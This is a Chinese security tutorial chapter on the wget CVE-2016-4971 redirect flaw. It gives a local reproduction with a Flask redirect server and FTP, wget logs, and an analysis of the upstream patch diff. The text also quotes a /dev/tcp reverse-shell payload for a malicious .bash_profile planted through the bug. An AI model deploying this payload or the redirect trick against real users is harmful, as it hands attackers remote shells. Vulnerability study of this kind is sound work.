# 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞 - [漏洞描述](#漏洞描述) - [漏洞复现](#漏洞复现) - [漏洞分析](#漏洞分析) - [参考资料](#参考资料) [下载文件](../src/exploit/7.1.3_wget_2016-4971) ## 漏洞描述 wget 是一个从网络上自动下载文件的工具，支持通过 HTTP、HTTPS、FTP 三种最常见的 TCP/IP 协议。 漏洞发生在将 HTTP 服务重定向到 FTP 服务时，wget 会默认选择相信 HTTP 服务器，并且直接使用重定向的 FTP URL，而没有对其进行二次验证或对下载文件名进行适当的处理。如果攻击者提供了一个恶意的 URL，通过这种重定向可能达到任意文件的上传的问题，并且文件名和文件内容也是任意的。 ## 漏洞复现 | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Ubuntu 16.04 | 体系结构：64 位 | | 漏洞软件 | wget | 版本号：1.17.1 | | 所需软件 | vsftpd | 版本号：3.0.3 | 首先需要安装 ftp 服务器： ``` $ sudo apt-get install vsftpd ``` 修改其配置文件 `/etc/vsftpd.conf`，使匿名用户也可以访问： ``` # Allow anonymous FTP? (Disabled by default). anonymous_enable=YES ``` 然后我们需要一个 HTTP 服务，这里选择使用 Flask： ``` $ sudo pip install flask ``` 创建两个文件 noharm.txt 和 harm.txt，假设前者是我们请求的正常文件，后者是重定位后的恶意文件，如下： ``` $ ls harm.txt httpServer.py noharm.txt $ cat noharm.txt "hello world" $ cat harm.txt "you've been hacked" $ sudo cp harm.txt /srv/ftp $ sudo python httpServer.py * Running on http://0.0.0.0:80/ (Press CTRL+C to quit) ``` `httpServer.py` 代码如下： ```py #!/usr/bin/env python from flask import Flask, redirect app = Flask(__name__) @app.route("/noharm.txt") def test(): return redirect("ftp://127.0.0.1/harm.txt") if __name__ == "__main__": app.run(host="0.0.0.0",port=80) ``` 接下来在另一个 shell 里（记得切换到一个不一样的目录），执行下面的语句： ``` $ ls | grep harm $ wget --version | head -n1 GNU Wget 1.17.1 built on linux-gnu. $ wget 0.0.0.0/noharm.txt --2018-01-29 15:30:35-- http://0.0.0.0/noharm.txt Connecting to 0.0.0.0:80... connected. HTTP request sent, awaiting response... 302 FOUND Location: ftp://127.0.0.1/harm.txt [following] --2018-01-29 15:30:35-- ftp://127.0.0.1/harm.txt => ‘noharm.txt’ Connecting to 127.0.0.1:21... connected. Logging in as anonymous ... Logged in! ==> SYST ... done. ==> PWD ... done. ==> TYPE I ... done. ==> CWD not needed. ==> SIZE harm.txt ... 21 ==> PASV ... done. ==> RETR harm.txt ... done. Length: 21 (unauthoritative) noharm.txt 100%[==============================================>] 21 --.-KB/s in 0s 2018-01-29 15:30:35 (108 KB/s) - ‘noharm.txt’ saved [21] $ ls | grep harm noharm.txt $ cat noharm.txt "you've been hacked" ``` 可以看到发生了重定向，虽然下载的文件内容是重定位后的文件的内容（harm.txt），但文件名依然是一开始请求的文件名（noharm.txt），完全没有问题。 这样看来，该系统上的 wget 虽然是 1.17.1，但估计已经打过补丁了。我们直接编译安装原始的版本： ``` $ sudo apt-get install libneon27-gnutls-dev $ wget https://ftp.gnu.org/gnu/wget/wget-1.17.1.tar.gz $ tar zxvf wget-1.17.1.tar.gz $ cd wget-1.17.1 $ ./configure $ make && sudo make install ``` 发出请求： ``` $ wget 0.0.0.0/noharm.txt --2018-01-29 16:32:15-- http://0.0.0.0/noharm.txt Connecting to 0.0.0.0:80... connected. HTTP request sent, awaiting response... 302 FOUND Location: ftp://127.0.0.1/harm.txt [following] --2018-01-29 16:32:15-- ftp://127.0.0.1/harm.txt => ‘harm.txt’ Connecting to 127.0.0.1:21... connected. Logging in as anonymous ... Logged in! ==> SYST ... done. ==> PWD ... done. ==> TYPE I ... done. ==> CWD not needed. ==> SIZE harm.txt ... 21 ==> PASV ... done. ==> RETR harm.txt ... done. Length: 21 (unauthoritative) harm.txt 100%[==============================================>] 21 --.-KB/s in 0s 2018-01-29 16:32:15 (3.41 MB/s) - ‘harm.txt’ saved [21] $ cat harm.txt "you've been hacked" ``` Bingo!!!这一次 harm.txt 没有被修改成原始请求的文件名。 在参考资料中，展示了一种针对 .bash\_profile 的攻击，我们知道在刚登录 Linux 时，.bash_profile 会被执行，用于设置一些环境变量。但如果该文件是一个恶意的文件，比如 `bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9980 0>&1` 这样的 payload，执行后就会返回一个 shell 给攻击者。 如果某个人在自己的 home 目录下执行了 wget 请求，并且该目录下没有 .bash_profile，那么利用该漏洞，攻击这就可以将恶意的 .bash\_profile 保存到这个人的 home 下。下一次启动时，恶意代码被执行，获得 shell。 ## 漏洞分析 #### 补丁 ```diff $ git diff e996e322ffd42aaa051602da182d03178d0f13e1 src/ftp.c | cat commit e996e322ffd42aaa051602da182d03178d0f13e1 Author: Giuseppe Scrivano Date: Mon Jun 6 21:20:24 2016 +0200 ftp: understand --trust-server-names on a HTTP->FTP redirect If not --trust-server-names is used, FTP will also get the destination file name from the original url specified by the user instead of the redirected url. Closes CVE-2016-4971. * src/ftp.c (ftp_get_listing): Add argument original_url. (getftp): Likewise. (ftp_loop_internal): Likewise. Use original_url to generate the file name if --trust-server-names is not provided. (ftp_retrieve_glob): Likewise. (ftp_loop): Likewise. Signed-off-by: Giuseppe Scrivano diff --git a/src/ftp.c b/src/ftp.c index cc90c3d..88a9777 100644 --- a/src/ftp.c +++ b/src/ftp.c @@ -236,7 +236,7 @@ print_length (wgint size, wgint start, bool authoritative) logputs (LOG_VERBOSE, !authoritative ? _(" (unauthoritative)\n") : "\n"); } -static uerr_t ftp_get_listing (struct url *, ccon *, struct fileinfo **); +static uerr_t ftp_get_listing (struct url *, struct url *, ccon *, struct fileinfo **); static uerr_t get_ftp_greeting(int csock, ccon *con) @@ -315,7 +315,8 @@ init_control_ssl_connection (int csock, struct url *u, bool *using_control_secur and closes the control connection in case of error. If warc_tmp is non-NULL, the downloaded data will be written there as well. */ static uerr_t -getftp (struct url *u, wgint passed_expected_bytes, wgint *qtyread, +getftp (struct url *u, struct url *original_url, + wgint passed_expected_bytes, wgint *qtyread, wgint restval, ccon *con, int count, wgint *last_expected_bytes, FILE *warc_tmp) { @@ -1188,7 +1189,7 @@ Error in server response, closing control connection.\n")); { bool exists = false; struct fileinfo *f; - uerr_t _res = ftp_get_listing (u, con, &f); + uerr_t _res = ftp_get_listing (u, original_url, con, &f); /* Set the DO_RETR command flag again, because it gets unset when calling ftp_get_listing() and would otherwise cause an assertion failure earlier on when this function gets repeatedly called @@ -1779,8 +1780,8 @@ exit_error: This loop either gets commands from con, or (if ON_YOUR_OWN is set), makes them up to retrieve the file given by the URL. */ static uerr_t -ftp_loop_internal (struct url *u, struct fileinfo *f, ccon *con, char **local_file, - bool force_full_retrieve) +ftp_loop_internal (struct url *u, struct url *original_url, struct fileinfo *f, + ccon *con, char **local_file, bool force_full_retrieve) { int count, orig_lp; wgint restval, len = 0, qtyread = 0; @@ -1805,7 +1806,7 @@ ftp_loop_internal (struct url *u, struct fileinfo *f, ccon *con, char **local_fi { /* URL-derived file. Consider "-O file" name. */ xfree (con->target); - con->target = url_file_name (u, NULL); + con->target = url_file_name (opt.trustservernames || !original_url ? u : original_url, NULL); if (!opt.output_document) locf = con->target; else @@ -1923,8 +1924,8 @@ ftp_loop_internal (struct url *u, struct fileinfo *f, ccon *con, char **local_fi /* If we are working on a WARC record, getftp should also write to the warc_tmp file. */ - err = getftp (u, len, &qtyread, restval, con, count, &last_expected_bytes, - warc_tmp); + err = getftp (u, original_url, len, &qtyread, restval, con, count, + &last_expected_bytes, warc_tmp); if (con->csock == -1) con->st &= ~DONE_CWD; @@ -2092,7 +2093,8 @@ Removing file due to --delete-after in ftp_loop_internal():\n")); /* Return the directory listing in a reusable format. The directory is specifed in u->dir. */ static uerr_t -ftp_get_listing (struct url *u, ccon *con, struct fileinfo **f) +ftp_get_listing (struct url *u, struct url *original_url, ccon *con, + struct fileinfo **f) { uerr_t err; char *uf; /* url file name */ @@ -2113,7 +2115,7 @@ ftp_get_listing (struct url *u, ccon *con, struct fileinfo **f) con->target = xstrdup (lf); xfree (lf); - err = ftp_loop_internal (u, NULL, con, NULL, false); + err = ftp_loop_internal (u, original_url, NULL, con, NULL, false); lf = xstrdup (con->target); xfree (con->target); con->target = old_target; @@ -2136,8 +2138,9 @@ ftp_get_listing (struct url *u, ccon *con, struct fileinfo **f) return err; } -static uerr_t ftp_retrieve_dirs (struct url *, struct fileinfo *, ccon *); -static uerr_t ftp_retrieve_glob (struct url *, ccon *, int); +static uerr_t ftp_retrieve_dirs (struct url *, struct url *, + struct fileinfo *, ccon *); +static uerr_t ftp_retrieve_glob (struct url *, struct url *, ccon *, int); static struct fileinfo *delelement (struct fileinfo *, struct fileinfo **); static void freefileinfo (struct fileinfo *f); @@ -2149,7 +2152,8 @@ static void freefileinfo (struct fileinfo *f); If opt.recursive is set, after all files have been retrieved, ftp_retrieve_dirs will be called to retrieve the directories. */ static uerr_t -ftp_retrieve_list (struct url *u, struct fileinfo *f, ccon *con) +ftp_retrieve_list (struct url *u, struct url *original_url, + struct fileinfo *f, ccon *con) { static int depth = 0; uerr_t err; @@ -2310,7 +2314,10 @@ Already have correct symlink %s -> %s\n\n"), else /* opt.retr_symlinks */ { if (dlthis) - err = ftp_loop_internal (u, f, con, NULL, force_full_retrieve); + { + err = ftp_loop_internal (u, original_url, f, con, NULL, + force_full_retrieve); + } } /* opt.retr_symlinks */ break; case FT_DIRECTORY: @@ -2321,7 +2328,10 @@ Already have correct symlink %s -> %s\n\n"), case FT_PLAINFILE: /* Call the retrieve loop. */ if (dlthis) - err = ftp_loop_internal (u, f, con, NULL, force_full_retrieve); + { + err = ftp_loop_internal (u, original_url, f, con, NULL, + force_full_retrieve); + } break; case FT_UNKNOWN: logprintf (LOG_NOTQUIET, _("%s: unknown/unsupported file type.\n"), @@ -2386,7 +2396,7 @@ Already have correct symlink %s -> %s\n\n"), /* We do not want to call ftp_retrieve_dirs here */ if (opt.recursive && !(opt.reclevel != INFINITE_RECURSION && depth >= opt.reclevel)) - err = ftp_retrieve_dirs (u, orig, con); + err = ftp_retrieve_dirs (u, original_url, orig, con); else if (opt.recursive) DEBUGP ((_("Will not retrieve dirs since depth is %d (max %d).\n"), depth, opt.reclevel)); @@ -2399,7 +2409,8 @@ Already have correct symlink %s -> %s\n\n"), ftp_retrieve_glob on each directory entry. The function knows about excluded directories. */ static uerr_t -ftp_retrieve_dirs (struct url *u, struct fileinfo *f, ccon *con) +ftp_retrieve_dirs (struct url *u, struct url *original_url, + struct fileinfo *f, ccon *con) { char *container = NULL; int container_size = 0; @@ -2449,7 +2460,7 @@ Not descending to %s as it is excluded/not-included.\n"), odir = xstrdup (u->dir); /* because url_set_dir will free u->dir. */ url_set_dir (u, newdir); - ftp_retrieve_glob (u, con, GLOB_GETALL); + ftp_retrieve_glob (u, original_url, con, GLOB_GETALL); url_set_dir (u, odir); xfree (odir); @@ -2508,14 +2519,15 @@ is_invalid_entry (struct fileinfo *f) GLOB_GLOBALL, use globbing; if it's GLOB_GETALL, download the whole directory. */ static uerr_t -ftp_retrieve_glob (struct url *u, ccon *con, int action) +ftp_retrieve_glob (struct url *u, struct url *original_url, + ccon *con, int action) { struct fileinfo *f, *start; uerr_t res; con->cmd |= LEAVE_PENDING; - res = ftp_get_listing (u, con, &start); + res = ftp_get_listing (u, original_url, con, &start); if (res != RETROK) return res; /* First: weed out that do not conform the global rules given in @@ -2611,7 +2623,7 @@ ftp_retrieve_glob (struct url *u, ccon *con, int action) if (start) { /* Just get everything. */ - res = ftp_retrieve_list (u, start, con); + res = ftp_retrieve_list (u, original_url, start, con); } else { @@ -2627,7 +2639,7 @@ ftp_retrieve_glob (struct url *u, ccon *con, int action) { /* Let's try retrieving it anyway. */ con->st |= ON_YOUR_OWN; - res = ftp_loop_internal (u, NULL, con, NULL, false); + res = ftp_loop_internal (u, original_url, NULL, con, NULL, false); return res; } @@ -2647,8 +2659,8 @@ ftp_retrieve_glob (struct url *u, ccon *con, int action) of URL. Inherently, its capabilities are limited on what can be encoded into a URL. */ uerr_t -ftp_loop (struct url *u, char **local_file, int *dt, struct url *proxy, - bool recursive, bool glob) +ftp_loop (struct url *u, struct url *original_url, char **local_file, int *dt, + struct url *proxy, bool recursive, bool glob) { ccon con; /* FTP connection */ uerr_t res; @@ -2669,16 +2681,17 @@ ftp_loop (struct url *u, char **local_file, int *dt, struct url *proxy, if (!*u->file && !recursive) { struct fileinfo *f; - res = ftp_get_listing (u, &con, &f); + res = ftp_get_listing (u, original_url, &con, &f); if (res == RETROK) { if (opt.htmlify && !opt.spider) { + struct url *url_file = opt.trustservernames ? u : original_url; char *filename = (opt.output_document ? xstrdup (opt.output_document) : (con.target ? xstrdup (con.target) - : url_file_name (u, NULL))); + : url_file_name (url_file, NULL))); res = ftp_index (filename, u, f); if (res == FTPOK && opt.verbose) { @@ -2723,11 +2736,13 @@ ftp_loop (struct url *u, char **local_file, int *dt, struct url *proxy, /* ftp_retrieve_glob is a catch-all function that gets called if we need globbing, time-stamping, recursion or preserve permissions. Its third argument is just what we really need. */ - res = ftp_retrieve_glob (u, &con, + res = ftp_retrieve_glob (u, original_url, &con, ispattern ? GLOB_GLOBALL : GLOB_GETONE); } else - res = ftp_loop_internal (u, NULL, &con, local_file, false); + { + res = ftp_loop_internal (u, original_url, NULL, &con, local_file, false); + } } if (res == FTPOK) res = RETROK; ``` 通过查看补丁的内容，我们发现主要的修改有两处，一个是函数 `ftp_loop_internal()`，增加了对是否使用了参数 `--trust-server-names` 及是否存在重定向进行了判断： ```c con->target = url_file_name (opt.trustservernames || !original_url ? u : original_url, NULL); ``` 另一个是函数 `ftp_loop()`，也是一样的： ```c struct url *url_file = opt.trustservernames ? u : original_url; ``` 修改之后，如果没有使用参数 `--trust-server-names`，则默认使用原始 URL 中的文件名替换重定向后 URL 中的文件名。问题就这样解决了。 ## 参考资料 - [CVE-2016-4971](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4971) - [GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution](https://www.exploit-db.com/exploits/40064/) - [Wget漏洞（CVE-2016-4971）利用方式解析](http://www.freebuf.com/vuls/107206.html)